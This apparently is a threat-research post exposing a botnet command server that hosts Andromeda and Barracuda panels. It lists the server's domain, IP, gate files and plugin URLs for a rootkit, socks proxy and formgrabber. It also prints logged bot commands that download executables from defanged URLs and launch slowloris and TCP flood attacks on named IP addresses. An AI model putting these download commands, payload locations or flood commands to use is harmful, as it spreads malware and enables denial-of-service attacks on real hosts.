Resolved dinosaur.no-ip.org to 37.0.123.119
I’ve been watching the barracuda for a while, and when I saw it load the andromeda I decided to post them both.
Andromeda
Server: dinosaur.no-ip.org
Gate file: /andr/image.php
Plugins
Rootkit: dinosaur.no-ip.org/andr/r.pack
Socks: dinosaur.no-ip.org/andr/s.pack
Formgrabber: dinosaur.no-ip.org/andr/f.pack
Gate file: dinosaur.no-ip.org/andr/fg.php
Barracuda http
Server: dinosaur.no-ip.org
Gate file: dinosaur.no-ip.org/drgordon512/bot.php
Here are some logs showing what the barracuda was doing.
download hxxp://whitehat.su/bc4rl1.exe bc4rl1re.exe download hxxp://whitehat.su/newe.exe as.exe download hxxp://whitehat.su/bcformine.exe winhost.exe download hxxp://whitehat.su/bcformine.exe updater.exe slowloris 217.19.187.195 10000 50 slowloris 217.19.187.195 1000 50 botkill download hxxp://whitehat.su/bcforus1.exe winhostr23.exe slowloris mafiaspillet.no 1000 100 download hxxp://whitehat.su/bc4rl1r3.exe bc4rl1r3.exe downloadupdate hxxp://whitehat.su/nobkdrgordon.exe nobkdr.exe download hxxp://whitehat.su/bc4rl1.exe runl.exe download hxxp://whitehat.su/bitcointest1.exe bit32.exe slowloris 217.19.187.195 5000 50 download hxxp://whitehat.su/bcfinal.exe rundl.exe downloadupdate hxxp://whitehat.su/nobkdrgordon.exe updater.exe download hxxp://whitehat.su/bc4rl1.exe bc4rl12.exe stop download hxxp://whitehat.su/strongerminer.exe winhostr32.exe download hxxp://whitehat.su/bcforus1.exe bcudate.exe startup bcformine.exe *booter* download hxxp://whitehat.su/bcforus1.exe bmine download hxxp://whitehat.su/bc4rl1.exe bc4rl1.exe download hxxp://whitehat.su/newone.exe newone.exe slowloris 217.19.187.195 120 50 slowloris 82.165.83.70 3000 50 slowloris 67.205.87.145 120 50 download hxxp://whitehat.su/KLu7cHzf_bin.exe 432432.exe download hxxps://dl.dropbox.com/s/c688yzuocf41d2n/nox.exe nox.exe download hxxp://ge.tt/api/1/files/1c9i5AS/0/blob?download 43423423.exe filezilla tcpflood 193.104.68.22 27015 120 100 stop download hxxp://whitehat.su/11111111.exe udphost.exe download hxxp://whitehat.su/Java_32.exe java_32.exe filezilla download hxxps://dl.dropbox.com/u/11386186/CG%201.04/11111111.exe fag0r.exe slowloris 92.51.189.10 120 70 slowloris 217.19.187.195 100000 50 botkill
Hosting infos: http://whois.domaintools.com/37.0.123.119